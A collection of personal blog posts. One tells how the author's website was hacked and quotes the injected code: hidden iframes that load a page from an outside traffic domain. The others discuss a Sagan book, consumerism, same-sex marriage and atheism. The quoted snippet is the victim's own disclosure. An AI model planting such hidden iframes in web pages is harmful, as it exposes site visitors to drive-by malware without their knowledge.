National Security… ok not quite

Today, I awoke to find that my website was not quite behaving like normal. I was getting a lot of PHP errors and my brother reported getting a virus warning when logging into my forum. It turns out that someone had exploited a security hole in some software that drives the site. Fortunately, all they did was append a bit of code to files (instead of removing files or something more malicious). Unfortunately, it was quite a few files and it took me a while to fix them all. The files affected all had names containing the words index, login, header, footer, default… things like this. The big of code they included was:

I’m putting it here as I couldn’t find anywhere on the web any description of who these guys were or what the site they were linking back to was about (the site just timed out when I tried to go there directly). So if anyone knows anything about these guys, I’d be interested in hearing about it.

<IFRAME name=’StatPage’ src=’http://www.555traff.com/trf/traf.php‘ width=5 height=5 style=’display:none’> </IFRAME> <IFRAME name=’StatPage’ src=’http://www.555traff.com/trf/traf.php’ width=5 height=5 style=’display:none’> </IFRAME>

It turns out that the hole was easily fixed by my hosting company, which is nice. But it still caused more stress and wasted effort than I’m happy with.

The Demon Haunted World by Carl Sagan

Started reading: ~08/01/01
Finished reading: ~09/01/01
Notes written: 10/26/01

I write these notes more than a month after I finished reading the book. I felt it was a very good book, maybe preaching to the choir in my case, but still making a very good case for the need for skepticism, of a need to think rationally about the things that we encounter every day. Sagan recounts many instances of people being fooled by hoaxes, both obvious and not so obvious, of believing them even after the hoax is revealed. People so desperately want to believe something, anything. They don’t look at things rationally, they don’t try to analyze them. They take things at face value, never trying to understand things more deeply than at the level that they are first told.

Sagan makes strong arguements for the need to strengthen scientific education, not only here, but in all parts of the world. People, especially now, now that our world is dominated by the products of science, need to understand that science more. To be able to intelligently interact with their world, they need to understand it better.

Sagan also points out the similarties between the current “fad” of alien sightings and abduction stories and the apparitions of the Virgin in the middle ages. Of how neither have any hard evidence for their occurence, but still are believed at face value. He describes how current knowledge of the workings of the brain do seem to lead credance to the idea of mass delusions. He looks at the witch trials of previous centuries to show how the majority of people can be brought to believe something that is not true, even something that the educated people of the time try to tell them is false.

Sagan does a great job of telling us why we need to learn science, why we need to think skeptically and critically. He also is sympathetic with people and their desire to believe these things. He would be the happiest man in the world if aliens did exist and visit us, but he sees no evidence of such happenings. He knows that people need to believe, need to escape from their world, either because it is mundane, or depressing, or too horrible to deal with. In some ways, it is an interesting comparison with The Amazing Adventures of Kavalier and Clay. There, comic books exist as a doorway to escape. Sagan knows that people need to escape, but he also feels that we need to be careful, that we can’t confuse reality – that which we can test, for which we have evidence – with fantasy. Joe, in The Amazing Adventures of Kavalier and Clay, sees the ability to escape as necessary, as the only thing that has helped him to deal with the events in his life. Sagan, I think, doesn’t feel this is bad, just that people need to be able to tell the fantasies of their escape from the reality around them. And, the key way to be able to do this is to know more about science, as a window to understanding reality, as a tool for doing so.

I agree completely with everything Sagan says. I may not be quite as wanting to find aliens or these things, but I am wanting the fantastic to be real. I would like to see ghosts and have these other shades of existence be real. But, as Sagan, I don’t see any evidence for these things. I think that we all need to be a bit more of a scientist, that we need to be able to tell reality from fantasy just a bit more than most of us are able to. I think that many of us are easily swayed and confused by stories of the fantastic, that we so desperately want to believe in something that lets us escape our mundane lives, our lives too horrible to deal with, that we latch on to anything that comes along. We are, in some real sense, sheep, that would rather be told what to believe than to try to investigate the world and learn how it is for ourselves. This isn’t true just of the nature of reality, but also in every realm of human existence. We are told by our governments what to believe about the enemy, we don’t think for ourselves. Blind patriotism plays the same role here as blind faith in religion. We don’t think for ourselves, we just believe the status quo given to us by those in power. Sagan wants us all to be a bit more scientific so we can also deal with these kinds of fantasies as well.

More on Consumerism

Earlier, in response to an article on elitism and bottled water, I wrote about my perspective on mass consumerism. Shortly after, I ran into this exhibit by Chris Jordan of Seattle. He basically tries to put the statistics of American consumption into photos which demonstrate the scale of our consumption. For example, the photo at left is of plastic bottles: every 5 minutes, we in the US consume 5 million such bottles. Even more amazing to me is that every day we discard nearly half a million cell phones. That means that roughly every two years, every person in the US gets a new cell phone. Amazing!

I personally think that some of this is intentionally encouraged by companies. The more disposable their products are, the more we will buy. I don’t think there is any reason to go through so many cell phones. But, there are two factors that encourage us to do so: first, they break (their lifetime is limited) and second, new features are introduced that make us want to upgrade.

You would think that the first is natural. After all, things break. But, my wife’s cell phone, a flip phone, was cracking near the hinge area. We took it in asking if we could get it replaced. Of course, we couldn’t because our contract wasn’t up yet and we hadn’t purchased insurance. But we told the guy behind the counter that she wasn’t doing anything extraordinary, that it was just wearing down from regular use. He said that it was “planned obsolesence”. This means that the company is intentionally designing the cell phone with a shorter lifetime than is really necessary. They could design a better and longer lasting product. They intentionally design a poorer product so that it will break after too long, so that we will have to buy a new one.

The second is a bit more subtle. I think often new features are added only to get us to buy a new model. It isn’t that we need the new features. But I think it plays into our psychology. Especially if someone else buys the fancy new model, then we want it. There was a study I read about recently that posed the following question to a bunch of people: if the price of everything were the same in these two scenarios, which would you prefer: to make $50K while everyone else makes $25K, or to make $100K while everyone else makes $200K. The second one is better in an absolute sense, while the first is better in a relative sense. Most people pick the first scenario. Their view of wealth isn’t based on how much they have, but how much they have relative to everyone else. I think the fancy new features in new products connects to the same human psychology.

I think our disposable colture is a large part of why we have so much waste. If things were designed and built to be more durable, companies might make less money, but the impact of our consumerism on our environment would be significantly less. I guess that would require a significant change in how our economy works, but I think it is a change worth thinking about.

In any case, check out Chris’ website and get a little bit better perspective on how much we consume.

Can They Be That Different?

One thing that confuses me about the whole same-sex marriage debate is the supposition that homosexuals are so different than heterosexuals. I don’t mean from the point of view that their sexual preferences are different. Rather, it is the view that homosexuality is a choice and that is the reason it is so “bad” that I don’t understand.

(Let me say that I don’t think that homosexuality is wrong regardless of whether it is a choice or not. I think people should be able to do what they wish as long as they don’t infringe on my right and ability to do what I wish.)

What I mean is that to view homosexuals as having a choice in their orientation is to some how think that their brain works completely differently than heterosexuals. And I mean differently in the sense that, as a heterosexual, I don’t feel I have a choice as to what gender I am attracted to. I am attracted to women, plain and simple. I didn’t choose to be attracted to women. That’s just the way I’m “wired”. However, it seems that the anti-same-sex marriage people believe that homosexuals are completely different and do have a choice. They aren’t wired to be attracted to the same sex, they choose to be.

It is this double standard I find confusing. And I don’t quite see why the gay community doesn’t point this out. It might be that they feel that it shouldn’t matter if it is a choice or not, they should have the rights to live the way they wish. And I can respect that.

But, I think that most people who are “anti-gay” are that way mostly because they fear things they do not understand, things that don’t make sense to them. When couched in this way, that their preferences are hard wired to some extent (just like mine are), I think some people at least would drop their opposition. It might not be for the right reasons, in some sense, but it might make things a little bit easier.

I personally believe that it won’t be long until it is definitely demonstrated that sexual orientation is very strongly genetic and that we have little “choice” in the matter. But, I am also of the camp that most of our personality is determined by genetics. There was a very interesting article in the last Scientific American about how our level of happiness is at due in part (about 50%) to genetics. I think that we will find that much of who each of us is comes to a great extent from our genes.

Is God the Answer?

Anthony Gottlieb has a very interesting article on the New Yorker website.  His article, Atheists with Attitude, is about the recent “flood” of books that defend an atheist view of the world, some being fairly hostile to religion.  (I tried to begin Richard Dawkin’s book The Selfish Gene, which is one of his most famous books, and had a hard time getting past his hostile attitude, even though I’m not a very religious person.)

But, it isn’t so much his review of this series of books that I found so interesting.  Rather, it was his paraphrasing of David Hume I found so intriguing:   God is merely the answer that you get if you do not ask enough questions.

When I was younger, I found solice in this view of the world.  Believing in God meant that everything had an answer.  Why does the universe exist?  God created it.  Why are we here?  God put us here.  Why didn’t I get a hit in that game?  God willed it so.  Believing in God meant that there was an answer to every question, every question but one: where did God come from?

I guess that is a question that isn’t supposed to be asked.  But, when I did ask it, I realized that, in not having an answer, it meant I didn’t have a real answer to any of my other questions.  Why does the universe exist?  God created it.  But who created God?  Where did God come from?  In the end, the answer I took so much comfort in didn’t really answer anything for me.

I find that the scientific method is much more fullfilling for me, intellectually and “spiritually”.  I hesitate to use that word, as it isn’t so much a spiritual thing, but rather it just feels better to me.  Science doesn’t have all the answers and there is no scientist that would claim it does.  But, what science does offer is an approach to search for the answers to the questions we pose.  Why does the universe exist?  Well, we don’t know, but science keeps getting a little closer to understanding the earliest moments of the universe.  Why are we here?  It might be just a random bit of luck that life was right on Earth to lead to our existence.  Why didn’t I get a hit in that game?  I just suck at baseball.

Seriously, many more questions go unanswered for me now.  But, I also know that by investigating the questions, I will have a better understanding of the world around me than if I just ascribed everything to God.  I might “know” less than if I relied upon God as the answer for everything, but I definitely understand more.

Blah, blah, blah… I've got the blahs.